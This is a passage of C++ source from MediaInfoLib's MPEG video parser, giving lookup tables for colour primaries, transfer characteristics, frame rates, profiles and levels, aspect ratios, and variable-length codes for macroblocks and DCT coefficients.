defined(MEDIAINFO_AVC_YES) || defined(MEDIAINFO_MPEG4_YES) || defined(MEDIAINFO_PRORES_YES) //--------------------------------------------------------------------------- namespace MediaInfoLib { #include "ZenLib/Conf.h" using namespace ZenLib; //--------------------------------------------------------------------------- extern const char* Mpegv_colour_primaries(int8u colour_primaries) { switch (colour_primaries) { case 1 : return "BT.709"; case 4 : return "BT.470 System M"; case 5 : return "BT.601 PAL"; case 6 : return "BT.601 NTSC"; case 7 : return "SMPTE 240M"; //Same as BT.601 NTSC case 8 : return "Generic film"; case 9 : return "BT.2020"; //Added in HEVC case 10 : return "XYZ"; //Added in HEVC 2014 case 11 : return "SMPTE RP 431-2"; //Added in ISO 23001-8:201x/PDAM1 case 12 : return "SMPTE EG 432-1"; //Added in ISO 23001-8:201x/PDAM1 case 22 : return "EBU Tech 3213"; //Added in ISO 23001-8:201x/PDAM1 default : return ""; } } //--------------------------------------------------------------------------- extern const char* Mpegv_transfer_characteristics(int8u transfer_characteristics) { switch (transfer_characteristics) { case 1 : return "BT.709"; //Same as BT.609 case 4 : return "BT.470 System M"; case 5 : return "BT.470 System B, BT.470 System G"; case 6 : return "BT.601"; case 7 : return "SMPTE 240M"; case 8 : return "Linear"; case 9 : return "Logarithmic (100:1)"; //Added in MPEG-4 Visual case 10 : return "Logarithmic (316.22777:1)"; //Added in MPEG-4 Visual case 11 : return "IEC 61966-2-4"; //Added in AVC case 12 : return "BT.1361 extended colour gamut system"; //Added in AVC case 13 : return "sYCC"; //Added in HEVC case 14 : return "BT.2020"; //Added in HEVC case 15 : return "BT.2020"; //Added in HEVC case 16 : return "SMPTE ST 2084"; //Added in HEVC 2015 case 17 : return "SMPTE ST 428-1"; //Added in HEVC 2015 case 18 : return "HLG"; //Added in ISO 23001-8:201x/PDAM1 default : return ""; } } //--------------------------------------------------------------------------- extern const char* Mpegv_matrix_coefficients(int8u matrix_coefficients) { switch (matrix_coefficients) { case 0 : return "RGB"; //Added in AVC case 1 : return "BT.709"; case 4 : return "FCC 73.682"; case 5 : return "BT.601"; case 6 : return "BT.601"; case 7 : return "SMPTE 240M"; case 8 : return "YCgCo"; //Added in AVC case 9 : return "BT.2020 non-constant"; //Added in HEVC case 10 : return "BT.2020 constant"; //Added in HEVC case 11 : return "Chroma-derived non-constant"; //Added in ISO 23001-8:201x/PDAM1 case 12 : return "Chroma-derived constant"; //Added in ISO 23001-8:201x/PDAM1 default : return ""; } } } //NameSpace //--------------------------------------------------------------------------- #endif //... //--------------------------------------------------------------------------- //*************************************************************************** // Infos (Global) //*************************************************************************** //--------------------------------------------------------------------------- #if defined(MEDIAINFO_MPEGV_YES) || defined(MEDIAINFO_MPEGTS_YES) || defined(MEDIAINFO_MPEGPS_YES) || defined(MEDIAINFO_MXF_YES) //--------------------------------------------------------------------------- namespace MediaInfoLib { #include "ZenLib/Conf.h" using namespace ZenLib; //--------------------------------------------------------------------------- extern const float64 Mpegv_frame_rate[16]= { (float64) 0, (float64)24000/(float64)1001, (float64)24, (float64)25, (float64)30000/(float64)1001, (float64)30, (float64)50, (float64)60000/(float64)1001, (float64)60, (float64) 0, (float64) 0, (float64) 0, (float64) 0, (float64) 0, (float64) 0, (float64) 0, }; //--------------------------------------------------------------------------- const char* Mpegv_Colorimetry_format[4]= { "", "4:2:0", "4:2:2", "4:4:4", }; //--------------------------------------------------------------------------- const char* Mpegv_profile_and_level_indication (int8u profile_and_level_indication) { switch (profile_and_level_indication) { case 0x82 : return "4:2:2@High"; case 0x85 : return "4:2:2@Main"; case 0x8A : return "Multi-view@High"; case 0x8B : return "Multi-view@High-1440"; case 0x8D : return "Multi-view@Main"; case 0x8E : return "Multi-view@Low"; default : return ""; } }; //--------------------------------------------------------------------------- const char* Mpegv_profile_and_level_indication_profile[]= { "0", "High", "Spatially Scalable", "SNR Scalable", "Main", "Simple", "6", "7", }; //4:2:2 Profile? //--------------------------------------------------------------------------- const char* Mpegv_profile_and_level_indication_level[]= { "0", "1", "2", "3", "High", "4", "High 1440", "5", "Main", "6", "Low", "7", "8", "9", "10", "11", }; } //NameSpace //--------------------------------------------------------------------------- #endif //... //--------------------------------------------------------------------------- //--------------------------------------------------------------------------- #if defined(MEDIAINFO_MPEGV_YES) //--------------------------------------------------------------------------- //--------------------------------------------------------------------------- #include "MediaInfo/Video/File_Mpegv.h" #include "MediaInfo/TimeCode.h" #include "ZenLib/BitStream.h" #include "ZenLib/Utils.h" #if defined(MEDIAINFO_DTVCCTRANSPORT_YES) #include "MediaInfo/Text/File_DtvccTransport.h" #endif //defined(MEDIAINFO_DTVCCTRANSPORT_YES) #if defined(MEDIAINFO_SCTE20_YES) #include "MediaInfo/Text/File_Scte20.h" #endif //defined(MEDIAINFO_SCTE20_YES) #if defined(MEDIAINFO_CDP_YES) #include "MediaInfo/Text/File_Cdp.h" #include <cstring> #endif //defined(MEDIAINFO_CDP_YES) #if defined(MEDIAINFO_AFDBARDATA_YES) #include "MediaInfo/Video/File_AfdBarData.h" #include <cstring> #endif //defined(MEDIAINFO_AFDBARDATA_YES) #include "MediaInfo/MediaInfo_Config_MediaInfo.h" #if MEDIAINFO_EVENTS #include "MediaInfo/MediaInfo_Events.h" #include "MediaInfo/MediaInfo_Events_Internal.h" #endif //MEDIAINFO_EVENTS #include <cmath> using namespace ZenLib; using namespace std; #undef FILLING_BEGIN #define FILLING_BEGIN() \ while (Element_Offset<Element_Size && Buffer[Buffer_Offset+(size_t)Element_Offset]==0x00) \ Element_Offset++; \ if (Element_Offset!=Element_Size) \ Trusted_IsNot("Size error"); \ else if (Element_IsOK()) \ { \ //--------------------------------------------------------------------------- //--------------------------------------------------------------------------- namespace MediaInfoLib { //--------------------------------------------------------------------------- //*************************************************************************** // Infos //*************************************************************************** //--------------------------------------------------------------------------- static const float32 Mpegv_aspect_ratio1[]= { (float32)0, (float32)1, (float32)0.6735, (float32)0.7031, //16/9 PAL (float32)0.7615, (float32)0.8055, (float32)0.8437, //16/9 NTSC (float32)0.8935, (float32)0.9375, //4/3 PAL (float32)0.9815, (float32)1.0255, (float32)1.0695, (float32)1.1250, //4/3 NTSC (float32)1.1575, (float32)1.2015, (float32)0, }; //--------------------------------------------------------------------------- static const float32 Mpegv_aspect_ratio2[]= { (float32)0, (float32)1, (float32)4/(float32)3, (float32)16/(float32)9, (float32)2.21, (float32)0, (float32)0, (float32)0, (float32)0, (float32)0, (float32)0, (float32)0, (float32)0, (float32)0, (float32)0, (float32)0, }; //--------------------------------------------------------------------------- static const char* Mpegv_video_format[]= { "Component", "PAL", "NTSC", "SECAM", "MAC", "", "", "", }; //--------------------------------------------------------------------------- static const char* Mpegv_picture_structure[]= { "", "T", //Top Field "B", //Bottom Field "F", //Frame }; static const char* Mpegv_picture_coding_type[]= { "", "I", "P", "B", "D", "", "", "", }; static const char* Mpegv_extension_start_code_identifier[]= { "", "Sequence", "Sequence Display", "Quant Matrix", "Copyright", "Sequence Scalable", "", "Picture Display", "Picture Coding", "Picture Spatial Scalable", "Picture Temporal Scalable", "Camera Parameters", "ITU-T", "", "", "", }; //--------------------------------------------------------------------------- #if MEDIAINFO_MACROBLOCKS static const int8u Mpegv_block_count[4]= { 0, 6, 8, 12, }; const File__Analyze::vlc Mpegv_macroblock_address_increment[]= { // macroblock_address_increment { 1 , 1 , 0 , 0 , 1 }, { 2 , 2 , 0 , 0 , 3 }, { 3 , 0 , 0 , 0 , 2 }, { 2 , 1 , 0 , 0 , 5 }, { 3 , 0 , 0 , 0 , 4 }, { 2 , 1 , 0 , 0 , 7 }, { 3 , 0 , 0 , 0 , 6 }, { 6 , 2 , 0 , 0 , 9 }, { 7 , 0 , 0 , 0 , 8 }, { 6 , 1 , 0 , 0 , 15 }, { 7 , 0 , 0 , 0 , 14 }, { 8 , 0 , 0 , 0 , 13 }, { 9 , 0 , 0 , 0 , 12 }, { 10 , 0 , 0 , 0 , 11 }, { 11 , 0 , 0 , 0 , 10 }, { 18 , 2 , 0 , 0 , 21 }, { 19 , 0 , 0 , 0 , 20 }, { 20 , 0 , 0 , 0 , 19 }, { 21 , 0 , 0 , 0 , 18 }, { 22 , 0 , 0 , 0 , 17 }, { 23 , 0 , 0 , 0 , 16 }, { 8 , 1 , 2 , 0 , 33 }, //Escape { 24 , 0 , 0 , 0 , 33 }, { 25 , 0 , 0 , 0 , 32 }, { 26 , 0 , 0 , 0 , 31 }, { 27 , 0 , 0 , 0 , 30 }, { 28 , 0 , 0 , 0 , 29 }, { 29 , 0 , 0 , 0 , 28 }, { 30 , 0 , 0 , 0 , 27 }, { 31 , 0 , 0 , 0 , 26 }, { 32 , 0 , 0 , 0 , 25 }, { 33 , 0 , 0 , 0 , 24 }, { 34 , 0 , 0 , 0 , 23 }, { 35 , 0 , 0 , 0 , 22 }, VLC_END }; const File__Analyze::vlc Mpegv_dct_dc_size_luminance[]= { { 0, 2, 0, 0, 1}, { 1, 0, 0, 0, 2}, { 4, 1, 0, 0, 0}, { 5, 0, 0, 0, 3}, { 6, 0, 0, 0, 4}, { 14, 1, 0, 0, 5}, { 30, 1, 0, 0, 6}, { 62, 1, 0, 0, 7}, { 126, 1, 0, 0, 8}, { 254, 1, 0, 0, 9}, { 510, 1, 0, 0, 10}, { 511, 0, 0, 0, 11}, VLC_END }; const File__Analyze::vlc Mpegv_dct_dc_size_chrominance[]= { { 0, 2, 0, 0, 0}, { 1, 0, 0, 0, 1}, { 2, 0, 0, 0, 2}, { 6, 1, 0, 0, 3}, { 14, 1, 0, 0, 4}, { 30, 1, 0, 0, 5}, { 62, 1, 0, 0, 6}, { 126, 1, 0, 0, 7}, { 254, 1, 0, 0, 8}, { 510, 1, 0, 0, 9}, { 1022, 1, 0, 0, 10}, { 1023, 0, 0, 0, 11}, VLC_END }; const File__Analyze::vlc Mpegv_dct_coefficients_0[]= { // Run Level { 2 , 2 , 3 , 0 , 1 }, // End of Block (others) or Run=0/Level=1 (first DCT) { 3 , 0 , 3 , 0 , -1 }, // End of Block (others) or Run=0/Level=1 (first DCT) { 6 , 2 , 0 , 1 , 1 }, { 7 , 0 , 0 , 1 , -1 }, { 8 , 1 , 0 , 0 , 2 }, { 9 , 0 , 0 , 0 , -2 }, { 10 , 0 , 0 , 2 , 1 }, { 11 , 0 , 0 , 2 , -1 }, { 1 , 1 , 2 , 0 , 0 }, // Escape { 10 , 0 , 0 , 0 , 3 }, { 11 , 0 , 0 , 0 , -3 }, { 12 , 0 , 0 , 4 , 1 }, { 13 , 0 , 0 , 4 , -1 }, { 14 , 0 , 0 , 3 , 1 }, { 15 , 0 , 0 , 3 , -1 }, { 8 , 1 , 0 , 7 , 1 }, { 9 , 0 , 0 , 7 , -1 }, { 10 , 0 , 0 , 6 , 1 }, { 11 , 0 , 0 , 6 , -1 }, { 12 , 0 , 0 , 1 , 2 }, { 13 , 0 , 0 , 1 , -2 }, { 14 , 0 , 0 , 5 , 1 }, { 15 , 0 , 0 , 5 , -1 }, { 8 , 1 , 0 , 2 , 2 }, { 9 , 0 , 0 , 2 , -2 }, { 10 , 0 , 0 , 9 , 1 }, { 11 , 0 , 0 , 9 , -1 }, { 12 , 0 , 0 , 0 , 4 }, { 13 , 0 , 0 , 0 , -4 }, { 14 , 0 , 0 , 8 , 1 }, { 15 , 0 , 0 , 8 , -1 }, { 64 , 1 , 0 , 13 , 1 }, { 65 , 0 , 0 , 13 , -1 }, { 66 , 0 , 0 , 0 , 6 }, { 67 , 0 , 0 , 0 , -6 }, { 68 , 0 , 0 , 12 , 1 }, { 69 , 0 , 0 , 12 , -1 }, { 70 , 0 , 0 , 11 , 1 }, { 71 , 0 , 0 , 11 , -1 }, { 72 , 0 , 0 , 3 , 2 }, { 73 , 0 , 0 , 3 , -2 }, { 74 , 0 , 0 , 1 , 3 }, { 75 , 0 , 0 , 1 , -3 }, { 76 , 0 , 0 , 0 , 5 }, { 77 , 0 , 0 , 0 , -5 }, { 78 , 0 , 0 , 10 , 1 }, { 79 , 0 , 0 , 10 , -1 }, { 16 , 2 , 0 , 16 , 1 }, { 17 , 0 , 0 , 16 , -1 }, { 18 , 0 , 0 , 5 , 2 }, { 19 , 0 , 0 , 5 , -2 }, { 20 , 0 , 0 , 0 , 7 }, { 21 , 0 , 0 , 0 , -7 }, { 22 , 0 , 0 , 2 , 3 }, { 23 , 0 , 0 , 2 , -3 }, { 24 , 0 , 0 , 1 , 4 }, { 25 , 0 , 0 , 1 , -4 }, { 26 , 0 , 0 , 15 , 1 }, { 27 , 0 , 0 , 15 , -1 }, { 28 , 0 , 0 , 14 , 1 }, { 29 , 0 , 0 , 14 , -1 }, { 30 , 0 , 0 , 4 , 2 }, { 31 , 0 , 0 , 4 , -2 }, { 32 , 2 , 0 , 0 , 11 }, { 33 , 0 , 0 , 0 , -11 }, { 34 , 0 , 0 , 8 , 2 }, { 35 , 0 , 0 , 8 , -2 }, { 36 , 0 , 0 , 4 , 3 }, { 37 , 0 , 0 , 4 , -3 }, { 38 , 0 , 0 , 0 , 10 }, { 39 , 0 , 0 , 0 , -10 }, { 40 , 0 , 0 , 2 , 4 }, { 41 , 0 , 0 , 2 , -4 }, { 42 , 0 , 0 , 7 , 2 }, { 43 , 0 , 0 , 7 , -2 }, { 44 , 0 , 0 , 21 , 1 }, { 45 , 0 , 0 , 21 , -1 }, { 46 , 0 , 0 , 20 , 1 }, { 47 , 0 , 0 , 20 , -1 }, { 48 , 0 , 0 , 0 , 9 }, { 49 , 0 , 0 , 0 , -9 }, { 50 , 0 , 0 , 19 , 1 }, { 51 , 0 , 0 , 19 , -1 }, { 52 , 0 , 0 , 18 , 1 }, { 53 , 0 , 0 , 18 , -1 }, { 54 , 0 , 0 , 1 , 5 }, { 55 , 0 , 0 , 1 , -5 }, { 56 , 0 , 0 , 3 , 3 }, { 57 , 0 , 0 , 3 , -3 }, { 58 , 0 , 0 , 0 , 8 }, { 59 , 0 , 0 , 0 , -8 }, { 60 , 0 , 0 , 6 , 2 }, { 61 , 0 , 0 , 6 , -2 }, { 62 , 0 , 0 , 17 , 1 }, { 63 , 0 , 0 , 17 , -1 }, { 32 , 1 , 0 , 10 , 2 }, { 33 , 0 , 0 , 10 , -2 }, { 34 , 0 , 0 , 9 , 2 }, { 35 , 0 , 0 , 9 , -2 }, { 36 , 0 , 0 , 5 , 3 }, { 37 , 0 , 0 , 5 , -3 }, { 38 , 0 , 0 , 3 , 4 }, { 39 , 0 , 0 , 3 , -4 }, { 40 , 0 , 0 , 2 , 5 }, { 41 , 0 , 0 , 2 , -5 }, { 42 , 0 , 0 , 1 , 7 }, { 43 , 0 , 0 , 1 , -7 }, { 44 , 0 , 0 , 1 , 6 }, { 45 , 0 , 0 , 1 , -6 }, { 46 , 0 , 0 , 0 , 15 }, { 47 , 0 , 0 , 0 , -15 }, { 48 , 0 , 0 , 0 , 14 }, { 49 , 0 , 0 , 0 , -14 }, { 50 , 0 , 0 , 0 , 13 }, { 51 , 0 , 0 , 0 , -13 }, { 52 , 0 , 0 , 0 , 12 }, { 53 , 0 , 0 , 0 , -12 }, { 54 , 0 , 0 , 26 , 1 }, { 55 , 0 , 0 , 26 , -1 }, { 56 , 0 , 0 , 25 , 1 }, { 57 , 0 , 0 , 25 , -1 }, { 58 , 0 , 0 , 24 , 1 }, { 59 , 0 , 0 , 24 , -1 }, { 60 , 0 , 0 , 23 , 1 }, { 61 , 0 , 0 , 23 , -1 }, { 62 , 0 , 0 , 22 , 1 }, { 63 , 0 , 0 , 22 , -1 }, { 32 , 1 , 0 , 0 , 31 }, { 33 , 0 , 0 , 0 , -31 }, { 34 , 0 , 0 , 0 , 30 }, { 35 , 0 , 0 , 0 , -30 }, { 36 , 0 , 0 , 0 , 29 }, { 37 , 0 , 0 , 0 , -29 }, { 38 , 0 , 0 , 0 , 28 }, { 39 , 0 , 0 , 0 , -28 }, { 40 , 0 , 0 , 0 , 27 }, { 41 , 0 , 0 , 0 , -27 }, { 42 , 0 , 0 , 0 , 26 }, { 43 , 0 , 0 , 0 , -26 }, { 44 , 0 , 0 , 0 , 25 }, { 45 , 0 , 0 , 0 , -25 }, { 46 , 0 , 0 , 0 , 24 }, { 47 , 0 , 0 , 0 , -24 }, { 48 , 0 , 0 , 0 , 23 }, { 49 , 0 , 0 , 0 , -23 }, { 50 , 0 , 0 , 0 , 22 }, { 51 , 0 , 0 , 0 , -22 }, { 52 , 0 , 0 , 0 , 21 }, { 53 , 0 , 0 , 0 , -21 }, { 54 , 0 , 0 , 0 , 20 }, { 55 , 0 , 0 , 0 , -20 }, { 56 , 0 , 0 , 0 , 19 }, { 57 , 0 , 0 , 0 , -19 }, { 58 , 0 , 0 , 0 , 18 }, { 59 , 0 , 0 , 0 , -18 }, { 60 , 0 , 0 , 0 , 17 }, { 61 , 0 , 0 , 0 , -17 }, { 62 , 0 , 0 , 0 , 16 }, { 63 , 0 , 0 , 0 , -16 }, { 32 , 1 , 0 , 0 , 40 }, { 33 , 0 , 0 , 0 , -40 }, { 34 , 0 , 0 , 0 , 39 }, { 35 , 0 , 0 , 0 , -39 }, { 36 , 0 , 0 , 0 , 38 }, { 37 , 0 , 0 , 0 , -38 }, { 38 , 0 , 0 , 0 , 37 }, { 39 , 0 , 0 , 0 , -37 }, { 40 , 0 , 0 , 0 , 36 }, { 41 , 0 , 0 , 0 , -36 }, { 42 , 0 , 0 , 0 , 35 }, { 43 , 0 , 0 , 0 , -35 }, { 44 , 0 , 0 , 0 , 34 }, { 45 , 0 , 0 , 0 , -34 }, { 46 , 0 , 0 , 0 , 33 }, { 47 , 0 , 0 , 0 , -33 }, { 48 , 0 , 0 , 0 , 32 }, { 49 , 0 , 0 , 0 , -32 }, { 50 , 0 , 0 , 1 , 14 }, { 51 , 0 , 0 , 1 , -14 }, { 52 , 0 , 0 , 1 , 13 }, { 53 , 0 , 0 , 1 , -13 }, { 54 , 0 , 0 , 1 , 12 }, { 55 , 0 , 0 , 1 , -12 }, { 56 , 0 , 0 , 1 , 11 }, { 57 , 0 , 0 , 1 , -11 }, { 58 , 0 , 0 , 1 , 10 }, { 59 , 0 , 0 , 1 , -10 }, { 60 , 0 , 0 , 1 , 9 }, { 61 , 0 , 0 , 1 , -9 }, { 62 , 0 , 0 , 1 , 8 }, { 63 , 0 , 0 , 1 , -8 }, { 32 , 1 , 0 , 1 , 18 }, { 33 , 0 , 0 , 1 , -18 }, { 34 , 0 , 0 , 1 , 17 }, { 35 , 0 , 0 , 1 , -17 }, { 36 , 0 , 0 , 1 , 16 }, { 37 , 0 , 0 , 1 , -16 }, { 38 , 0 , 0 , 1 , 15 }, { 39 , 0 , 0 , 1 , -15 }, { 40 , 0 , 0 , 6 , 3 }, { 41 , 0 , 0 , 6 , -3 }, { 42 , 0 , 0 , 16 , 2 }, { 43 , 0 , 0 , 16 , -2 }, { 44 , 0 , 0 , 15 , 2 }, { 45 , 0 , 0 , 15 , -2 }, { 46 , 0 , 0 , 14 , 2 }, { 47 , 0 , 0 , 14 , -2 }, { 48 , 0 , 0 , 13 , 2 }, { 49 , 0 , 0 , 13 , -2 }, { 50 , 0 , 0 , 12 , 2 }, { 51 , 0 , 0 , 12 , -2 }, { 52 , 0 , 0 , 11 , 2 }, { 53 , 0 , 0 , 11 , -2 }, { 54 , 0 , 0 , 31 , 1 }, { 55 , 0 , 0 , 31 , -1 }, { 56 , 0 , 0 , 30 , 1 }, { 57 , 0 , 0 , 30 , -1 }, { 58 , 0 , 0 , 29 , 1 }, { 59 , 0 , 0 , 29 , -1 }, { 60 , 0 , 0 , 28 , 1 }, { 61 , 0 , 0 , 28 , -1 }, { 62 , 0 , 0 , 27 , 1 }, { 63 , 0 , 0 , 27 , -1 }, {(int32u)-1, (int8u)-1, 1, -1, -1} // }; const File__Analyze::vlc Mpegv_dct_coefficients_1[]= { // Run Level { 4 , 3 , 0 , 0 , 1 }, { 5 , 0 , 0 , 0 , -1 }, { 4 , 1 , 0 , 1 , 1 }, { 5 , 0 , 0 , 1 , -1 }, { 6 , 0 , 1 , 0 , 0 }, { 12 , 0 , 0 , 0 , 2 }, { 13 , 0 , 0 , 0 , -2 }, { 14 , 1 , 0 , 0 , 3 }, { 15 , 0 , 0 , 0 , -3 }, { 1 , 1 , 2 , 0 , 0 }, { 10 , 0 , 0 , 2 , 1 }, { 11 , 0 , 0 , 2 , -1 }, { 12 , 0 , 0 , 1 , 2 }, { 13 , 0 , 0 , 1 , -2 }, { 14 , 0 , 0 , 3 , 1 }, { 15 , 0 , 0 , 3 , -1 }, { 56 , 0 , 0 , 0 , 4 }, { 57 , 0 , 0 , 0 , -4 }, { 58 , 0 , 0 , 0 , 5 }, { 59 , 0 , 0 , 0 , -5 }, { 8 , 1 , 0 , 0 , 7 }, { 9 , 0 , 0 , 0 , -7 }, { 10 , 0 , 0 , 0 , 6 }, { 11 , 0 , 0 , 0 , -6 }, { 12 , 0 , 0 , 4 , 1 }, { 13 , 0 , 0 , 4 , -1 }, { 14 , 0 , 0 , 5 , 1 }, { 15 , 0 , 0 , 5 , -1 }, { 8 , 1 , 0 , 7 , 1 }, { 9 , 0 , 0 , 7 , -1 }, { 10 , 0 , 0 , 8 , 1 }, { 11 , 0 , 0 , 8 , -1 }, { 12 , 0 , 0 , 6 , 1 }, { 13 , 0 , 0 , 6 , -1 }, { 14 , 0 , 0 , 2 , 2 }, { 15 , 0 , 0 , 2 , -2 }, { 240 , 0 , 0 , 9 , 1 }, { 241 , 0 , 0 , 9 , -1 }, { 242 , 0 , 0 , 1 , 3 }, { 243 , 0 , 0 , 1 , -3 }, { 244 , 0 , 0 , 10 , 1 }, { 245 , 0 , 0 , 10 , -1 }, { 246 , 0 , 0 , 0 , 8 }, { 247 , 0 , 0 , 0 , -8 }, { 248 , 0 , 0 , 0 , 9 }, { 249 , 0 , 0 , 0 , -9 }, { 64 , 1 , 0 , 1 , 5 }, { 65 , 0 , 0 , 1 , -5 }, { 66 , 0 , 0 , 11 , 1 }, { 67 , 0 , 0 , 11 , -1 }, { 68 , 0 , 0 , 0 , 11 }, { 69 , 0 , 0 , 0 , -11 }, { 70 , 0 , 0 , 0 , 10 }, { 71 , 0 , 0 , 0 , -10 }, { 72 , 0 , 0 , 13 , 1 }, { 73 , 0 , 0 , 13 , -1 }, { 74 , 0 , 0 , 12 , 1 }, { 75 , 0 , 0 , 12 , -1 }, { 76 , 0 , 0 , 3 , 2 }, { 77 , 0 , 0 , 3 , -2 }, { 78 , 0 , 0 , 1 , 4 }, { 79 , 0 , 0 , 1 , -4 }, { 500 , 0 , 0 , 0 , 12 }, { 501 , 0 , 0 , 0 , -12 }, { 502 , 0 , 0 , 0 , 13 }, { 503 , 0 , 0 , 0 , -13 }, { 504 , 0 , 0 , 2 , 3 }, { 505 , 0 , 0 , 2 , -3 }, { 506 , 0 , 0 , 4 , 2 }, { 507 , 0 , 0 , 4 , -2 }, { 508 , 0 , 0 , 0 , 14 }, { 509 , 0 , 0 , 0 , -14 }, { 510 , 0 , 0 , 0 , 15 }, { 511 , 0 , 0 , 0 , -15 }, { 8 , 1 , 0 , 5 , 2 }, { 9 , 0 , 0 , 5 , -2 }, { 10 , 0 , 0 , 14 , 1 }, { 11 , 0 , 0 , 14 , -1 }, { 14 , 0 , 0 , 15 , 1 }, { 15 , 0 , 0 , 15 , -1 }, { 24 , 1 , 0 , 2 , 4 }, { 25 , 0 , 0 , 2 , -4 }, { 26 , 0 , 0 , 16 , 1 }, { 27 , 0 , 0 , 16 , -1 }, { 34 , 2 , 0 , 8 , 2 }, { 35 , 0 , 0 , 8 , -2 }, { 36 , 0 , 0 , 4 , 3 }, { 37 , 0 , 0 , 4 , -3 }, { 42 , 0 , 0 , 7 , 2 }, { 43 , 0 , 0 , 7 , -2 }, { 44 , 0 , 0 , 21 , 1 }, { 45 , 0 , 0 , 21 , -1 }, { 46 , 0 , 0 , 20 , 1 }, { 47 , 0 , 0 , 20 , -1 }, { 50 , 0 , 0 , 19 , 1 }, { 51 , 0 , 0 , 19 , -1 }, { 52 , 0 , 0 , 18 , 1 }, { 53 , 0 , 0 , 18 , -1 }, { 56 , 0 , 0 , 3 , 3 }, { 57 , 0 , 0 , 3 , -3 }, { 60 , 0 , 0 , 6 , 2 }, { 61 , 0 , 0 , 6 , -2 }, { 62 , 0 , 0 , 17 , 1 }, { 63 , 0 , 0 , 17 , -1 }, { 32 , 1 , 0 , 10 , 2 }, { 33 , 0 , 0 , 10 , -2 }, { 34 , 0 , 0 , 9 , 2 }, { 35 , 0 , 0 , 9 , -2 }, { 36 , 0 , 0 , 5 , 3 }, { 37 , 0 , 0 , 5 , -3 }, { 38 , 0 , 0 , 3 , 4 }, { 39 , 0 , 0 , 3 , -4 }, { 40 , 0 , 0 , 2 , 5 }, { 41 , 0 , 0 , 2 , -5 }, { 42 , 0 , 0 , 1 , 7 }, { 43 , 0 , 0 , 1 , -7 }, { 44 , 0 , 0 , 1 , 6 }, { 45 , 0 , 0 , 1 , -6 }, { 54 , 0 , 0 , 26 , 1 }, { 55 , 0 , 0 , 26 , -1 }, { 56 , 0 , 0 , 25 , 1 }, { 57 , 0 , 0 , 25 , -1 }, { 58 , 0 , 0 , 24 , 1 }, { 59 , 0 , 0 , 24 , -1 }, { 60 , 0 , 0 , 23 , 1 }, { 61 , 0 , 0 , 23 , -1 }, { 62 , 0 , 0 , 22 , 1 }, { 63 , 0 , 0 , 22 , -1 }, { 32 , 1 , 0 , 0 , 31 }, { 33 , 0 , 0 , 0 , -31 }, { 34 , 0 , 0 , 0 , 30 }, { 35 , 0 , 0 , 0 , -30 }, { 36 , 0 , 0 , 0 , 29 }, { 37 , 0 , 0 , 0 , -29 }, { 38 , 0 , 0 , 0 , 28 }, { 39 , 0 , 0 , 0 , -28 }, { 40 , 0 , 0 , 0 , 27 }, { 41 , 0 , 0 , 0 , -27 }, { 42 , 0 , 0 , 0 , 26 }, { 43 , 0 , 0 , 0 , -26 }, { 44 , 0 , 0 , 0 , 25 }, { 45 , 0 , 0 , 0 , -25 }, { 46 , 0 , 0 , 0 , 24 }, { 47 , 0 , 0 , 0 , -24 }, { 48 , 0 , 0 , 0 , 23 }, { 49 , 0 , 0 , 0 , -23 }, { 50 , 0 , 0 , 0 , 22 }, { 51 , 0 , 0 , 0 , -22 }, { 52 , 0 , 0 , 0 , 21 }, { 53 , 0 , 0 , 0 , -21 }, { 54 , 0 , 0 , 0 , 20 }, { 55 , 0 , 0 , 0 , -20 }, { 56 , 0 , 0 , 0 , 19 }, { 57 , 0 , 0 , 0 , -19 }, { 58 , 0 , 0 , 0 , 18 }, { 59 , 0 , 0 , 0 , -18 }, { 60 , 0 , 0 , 0 , 17 }, { 61 , 0 , 0 , 0 , -17 }, { 62 , 0 , 0 , 0 , 16 }, { 63 , 0 , 0 , 0 , -16 }, { 32 , 1 , 0 , 0 , 40 }, { 33 , 0 , 0 , 0 , -40 }, { 34 , 0 , 0 , 0 , 39 }, { 35 , 0 , 0 , 0 , -39 }, { 36 , 0 , 0 , 0 , 38 }, { 37 , 0 , 0 , 0 , -38 }, { 38 , 0 , 0 , 0 , 37 }, { 39 , 0 , 0 , 0 , -37 }, { 40 , 0 , 0 , 0 , 36 }, { 41 , 0 , 0 , 0 , -36 }, { 42 , 0 , 0 , 0 , 35 }, { 43 , 0 , 0 , 0 , -35 }, { 44 , 0 , 0 , 0 , 34 }, { 45 , 0 , 0 , 0 , -34 }, { 46 , 0 , 0 , 0 , 33 }, { 47 , 0 , 0 , 0 , -33 }, { 48 , 0 , 0 , 0 , 32 }, { 49 , 0 , 0 , 0 , -32 }, { 50 , 0 , 0 , 1 , 14 }, { 51 , 0 , 0 , 1 , -14 }, { 52 , 0 , 0 , 1 , 13 }, { 53 , 0 , 0 , 1 , -13 }, { 54 , 0 , 0 , 1 , 12 }, { 55 , 0 , 0 , 1 , -12 }, { 56 , 0 , 0 , 1 , 11 }, { 57 , 0 , 0 , 1 , -11 }, { 58 , 0 , 0 , 1 , 10 }, { 59 , 0 , 0 , 1 , -10 }, { 60 , 0 , 0 , 1 , 9 }, { 61 , 0 , 0 , 1 , -9 }, { 62 , 0 , 0 , 1 , 8 }, { 63 , 0 , 0 , 1 , -8 }, { 32 , 1 , 0 , 1 , 18 }, { 33 , 0 , 0 , 1 , -18 }, { 34 , 0 , 0 , 1 , 17 }, { 35 , 0 , 0 , 1 , -17 }, { 36 , 0 , 0 , 1 , 16 }, { 37 , 0 , 0 , 1 , -16 }, { 38 , 0 , 0 , 1 , 15 }, { 39 , 0 , 0 , 1 , -15 }, { 40 , 0 , 0 , 6 , 3 }, { 41 , 0 , 0 , 6 , -3 }, { 42 , 0 , 0 , 16 , 2 }, { 43 , 0 , 0 , 16 , -2 }, { 44 , 0 , 0 , 15 , 2 }, { 45 , 0 , 0 , 15 , -2 }, { 46 , 0 , 0 , 14 , 2 }, { 47 , 0 , 0 , 14 , -2 }, { 48 , 0 , 0 , 13 , 2 }, { 49 , 0 , 0 , 13 , -2 }, { 50 , 0 , 0 , 12 , 2 }, { 51 , 0 , 0 , 12 , -2 }, { 52 , 0 , 0 , 11 , 2 }, { 53 , 0 , 0 , 11 , -2 }, { 54 , 0 , 0 , 31 , 1 }, { 55 , 0 , 0 , 31 , -1 }, { 56 , 0 , 0 , 30 , 1 }, { 57 , 0 , 0 , 30 , -1 }, { 58 , 0 , 0 , 29 , 1 }, { 59 , 0 , 0 , 29 , -1 }, { 60 , 0 , 0 , 28 , 1 }, { 61 , 0 , 0 , 28 , -1 }, { 62 , 0 , 0 , 27 , 1 }, { 63 , 0 , 0 , 27 , -1 }, {(int32u)-1, (int8u)-1, 1, -1, -1} // }; const File__Analyze::vlc Mpegv_macroblock_type_I[]= { { 1, 1, 0, 0, 0x02}, { 1, 1, 0, 